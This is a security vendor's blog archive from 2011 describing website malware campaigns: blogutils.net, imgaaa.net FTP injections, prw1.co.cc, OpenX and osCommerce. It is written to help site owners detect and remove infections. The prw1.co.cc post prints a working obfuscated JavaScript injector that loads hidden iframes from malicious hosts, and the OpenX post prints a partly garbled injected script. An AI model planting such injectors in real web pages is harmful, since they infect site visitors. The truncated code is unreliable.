stopthehacker.com » hack

Google Groups Hacked?

anirban — Tue, 22 Nov 2011 19:55:02 +0000

As of November 21, 2011, a large number of posts on Google groups seem to have been replicated to some adult chat rooms on Google Groups. This seems to be an attempt to game the search engine algorithm that Google uses and gain high search rankings for adult, spammy and potentially malicious websites.

We have blogged previously about how malicious hackers misuse SEO mechanisms to direct traffic to their malicious websites:

Why Did My PageRank Go Down? – SEO Poisoning

More discussion about this issue is taking place on Google Groups. We will present more details about this incident as we know them.

Why so many GAE group posts are moved into “American-porn” group?

Blogutils.net Tumblr Hack

anirban — Mon, 26 Sep 2011 05:00:22 +0000

A recent spate of hacking incidents has led to the compromise of the popular website blogutils.net. Blogutils.net provides website utilities like visit counters that can be embedded on websites built using popular software.

Many websites, including some accounts created on tumblr.com have been recently blacklisted by Google. The primary reason for this is the compromise of blogutils.net which has allowed malware to be distributed on these benign sites via utilities like counters that are used by website around the world.

Website names on tumblr.com have the following format:

some-name.tumblr.com

About the attack
Websites that are facing this problem may see malware links to some of the sites listed below via malicious iframes and redirections.

dbncawbp.cz.cc

A screenshot of the blogutils.net website being blacklisted by Google is shown below.

A screenshot of the blogutils.net website as blacklisted by Google

How to remove the malicious code
If you are facing this problem on your site, remove the blogutils.net code (e.g. a visitor counter) for the time being. When blogutils.net has recovered from the attack you may re-enable the utility code on your website.

We will post more details in forthcoming posts.

How do I protect my site?
StopTheHacker.com customers are protected against these kind of threats. If you would like more information on how to protect your website, please feel free to contact us. You can also visit our services page to protect your website now.

Till next time…

Web-Malware Spoofing Images (imgaaa.net)

anirban — Wed, 04 May 2011 13:00:36 +0000

The incidence of web-malware is on the rise, thousands of websites are infected every day as webmasters and business owners grapple with this new hydra of the Internet. Traditional Anti-Virus software is completely helpless when it comes to detecting these new and evolving pieces of malware which are being used to infect websites by malicious hackers.

In this short post we present an extremely widespread variant of an FTP based web-malware which is used to infect web sites.

Identifying the Malware
This code is injected as a result of a trojan or a “sniffer” malware being installed on a personal computer or server. This trojan software simply listens for FTP connections destined for web servers.

The code below shows the malware payload which is injected into web sites:

To determine if this trojan has infected your site, follow the steps below:

Log into your web account using FTP, SFTP, or SSH.

Check for files present with the following names: [some-two-digit-number].php (e.g. “21.php”). These files usually begin with:

The above code may also be present on the last line of files named “index.php” (a reader identified the fact that there may also be files present with names like “police.php”).

Check for folders or directories present named “.log” (a reader identified the fact that there may also be a folder present called “.logs”).
Check for the presence of “imgaaa.net” in all files. Use the following command if you have shell access.
```
grep -lr imgaaa.net
```
Check for the presence of the following line in your “.htaccess” files.
```
RewriteRule ^(.*)$ /wp-admin/21.php?q=$1
```

Removing the Malware
If you find traces of the infection, upgrade your web application software (e.g. your CMS, WordPress, etc.) installation, change your FTP passwords, and clean or remove the infected files from your site immediately.

We Can Help!
If you need additional support, please see if our services can help and feel free to contact us with any comments or questions.

prw1.co.cc Malware Alert

anirban — Mon, 25 Apr 2011 15:00:24 +0000

Malicious hackers are infecting websites in droves using a relatively new kind of malware. Websites are the newest malware battleground. Benign websites are being compromised and infected by hackers in order to infect their visitors.

In the vast majority of cases, the affected website owners are completely oblivious to the fact that a malicious hacker has used their website to infect their visitors. In this article we will show a new strain of malware that has already infected 43,000 websites.

Identifying the Malware
The specific piece of malware:

y='rum';n='s';fp='afe';e='tp';bo='/f';lk='o.c';bl='742';x='7';i='ra';h='c';gf='.';fl='ht';q='//';w='c';pu='554';mk='p?';qg='tp=';il='ph';yy='o';am='5e';k='.c';c='me';u='r';d='20a';qd='1';z='prw';xu='if';iy='a';f=':';a=xu.concat(i,c);kx=n.concat(u,h);l=fl.concat(e,f,q,z,qd,k,lk,w,bo,yy,y,gf,il,mk,qg,bl,d,am,pu,fp,iy,x);var ov=document.createElement(a);ov.setAttribute('width','5');ov.setAttribute('height','5');ov.setAttribute('style','display:none');ov.setAttribute(kx,l);document.body.appendChild(ov);lb='r';r='d3b';q='.c';b='or';v='e';bi='e30';gl='?';j='c/f';ru='l';pj='a';zh='m.';h='a';xc='me';i='c';z='tp:';n='4';ye='=';lg='s';qk='426';jp='ht';g='a';k='z';ut='u';c='//p';pr='7f';o='i';by='fr';ck='3';pl='php';pe='tp';e='a';nc='.co';gz=o.concat(by,h,xc);kx=lg.concat(lb,i);dv=jp.concat(z,c,k,ru,ck,nc,q,j,b,ut,zh,pl,gl,pe,ye,v,pj,r,e,qk,pr,bi,g,n);var bo=document.createElement(gz);bo.setAttribute('width','5');bo.setAttribute('height','5');bo.setAttribute('style','display:none');bo.setAttribute(kx,dv);document.body.appendChild(bo);

This malware adds an iframe to the infected webpage:

iframe setAttribute src = http://prw1.co.cc/forum.php?tp=74220a5e554afea7

The iframe points to two sites which are used to load the code used to infect the website visitor:

pzl3.co.cc/forum.php?tp=ead3ba4267fe30a4
prw1.co.cc/forum.php?tp=74220a5e554afea7

Growth of Infected Sites
The number of infected sites has grown significantly over the last few days. In less than a month, we have seen the number of sites more than double.

Growth in the Number of Infected Websites

Blacklist Services Not Reacting Quickly
Current website reputation services have not yet started flagging sites with this specific malware. Many infected sites have not yet been blacklisted by Google Chrome, Firefox, Bing, Yahoo or other search engines and blacklist sources. Below we present a small sample of infected sites which have not yet been blacklisted, and will infect visitors upon visiting them.

Infected sites that have not been blacklisted (As of April 23, 2011):

www.kittyshomestore.com/
muinvader.com/
zirimi.com/
ipcontext.com/
www.bonitalions.org/
www.sobragen.org.br/
www.biostyle.ru/
www.cnicanada.com/
www.ceomanitoba.com/

Anti-Virus Not Capable of Detecting the Infection
Anti-virus engines are woefully inadequate at hunting down web-malware. We present screenshots to show the poor detection capabilities of Anti-virus engines with respect to this specific piece of malware. We see below that only 1 out of 41 AV engines were able to flag the malware.

Website reputation sources fail to identify malware

Anti-Viruses fail to identify malware

We Can Help!
If you need additional support, please see if our services can help and feel free to contact us with any comments or questions.

OpenX: Iframe Malware

anirban — Wed, 20 Apr 2011 16:00:47 +0000

Online advertisements are a significant source of revenue for many web sites. Even small websites can make money by serving up targeted advertisements to their visitors. A popular piece of software which helps deliver these online advertisements is OpenX. This software displays advertisements and rotates ads on web site pages.

In the last few months, we have seen a large uptick in the number of sites being hacked due to a vulnerability in the OpenX software. In this article, we provide a description of the problem and show an example which can help administrators find malware injected due to this particular vulnerability.

Identifying the Malware
When users visit a site hosting ads via OpenX, a PHP script dynamically creates JavaScript code which is embedded on the web page when ads are displayed to visitors. In cases of infection, malware in the form of a small JavaScript snippet is embedded in this PHP script.

The server location of the PHP script:

/www/delivery/ajs.php

An example of a public URL location of the PHP script:


http://www.infected-website.com/openx/www/delivery/ajs.php?zoneid=1&cb=27272789103&loc=http%3A//www.infected-site.com/

This specific JavaScript snippet loads an iframe element:

document.write('');

This malware is injected onto each page served with an ad, and can usually be located on the very first line of the web page. This can easily be verified by viewing the source of the webpage.

An example of the dynamic JavaScript which inserts this malware:

var dc=document; var date_ob=new Date(); dc.cookie='h1=o; path=/;';if(dc.cookie.indexOf('3=llo') 0){
function clng(str1,str2,str3){var cou=new Array('cn','gt','tn','br','id','bg','pl','be','gp','my','th','iq','ro','ba','pk','tr','dz','ma','re','ae','gf','ru','om','il','gr','vn','kw','ci','sa','do','pt','hr','eg','qa','ro','tw','al','hk','ps','eg','do','lt','dk','jo','pk','ma','pr','mk','dz','ge','hr','gr','bg','ba','pt','si','tn','pl','be','ir','sk','hu','az','bo','by','cr','cz','ec','ee','lk','lv','md','mt','pa','rs','sv','tt','ua','uy');
for(i=0;i");} var run=1;
date_ob.setTime(date_ob.getTime()+86400000);dc.cookie='h3=llo; path=/; expires='+date_ob.toGMTString();}

Removing the Malware
The good news is that upgrading OpenX to the most recent version, or version 2.8.7 and above, resolves the vulnerability.

A very good guide to securing your OpenX installation can be found on the OpenX Blog.

Quoting the relevant part of the post:

First, check the append/prepend fields in the banners and zones table for any malicious code:
SELECT bannerid, append, prepend FROM banners WHERE append != '' OR prepend != '';
 SELECT zoneid, append, prepend FROM zones WHERE append != '' OR prepend != '';
If you see anything suspicious on those fields, you should clear those values out. 

Second, check that no unexpected admin users have been created, this query will list the details of all users with admin access in your system:
SELECT u.user_id, u.contact_name, u.email_address, u.username FROM users AS u, account_user_assoc AS aua WHERE u.user_id=aua.user_id AND aua.account_id = (SELECT value FROM application_variable WHERE name='admin_account_id');
Third, check for infected files on the filesystem:  Installing the latest version of openx will restore all core files, but plugin files (which the installer copies up from the previous version), and files in the www/images folder should be double checked after the upgrade is complete. 

In particular, be on the lookout for base64_decode and/or eval statements in your php files. From the bug notes of “Arbitrary code injected into cache file” at https://developer.openx.org/jira/browse/OX-5950, users have reported some specific php files, but the issue can occur on any of the php files.  

Optional steps you can take to secure your system are:

You should regularly change the passwords for all users in the system (especially administrator/manager users)

Removing the /path/to/openx/www/admin/install.php and the install-plugins.php files.

Locking down admin directory on Apache http://forum.openx.org/index.php?showtopic=503453491&st=15&p=205811&#entry205811

Conclusion
If you need additional support, please see if our services can help and feel free to contact us with any comments or questions.

osCommerce: Identifying Malware

anirban — Tue, 19 Apr 2011 16:00:42 +0000

Websites are now the primary sales funnel for many businesses. Every day, billions of dollars of business is conducted by small to medium sized businesses via their web sites. Most e-commerce web sites use a piece of software called a shopping cart to allow users to pick and choose what they would like to buy and then pay via a number of payment methods.

One popular application software that web site owners use to manage online transactions is called osCommerce. Thousands of websites use this software. In the last three months we have witnessed a spate of intense attacks targeting shopping cart software like osCommerce. In this post we discuss the specifics of this attack, and how to identify the malware which is injected as a result of this intrusion.

Identifying the Malware
The malware targets osCommerce and other shopping carts by exploiting an application vulnerability to inject malware into the web site running the shopping cart – in turn, causing website visitors to become infected. This strain of malware has been extremely pervasive.

We have seen variants of the following malware on web sites running shopping cart software by osCommerce and OpenCart. The malware can be found in JavaScript, PHP, and HTML files on the infected web site.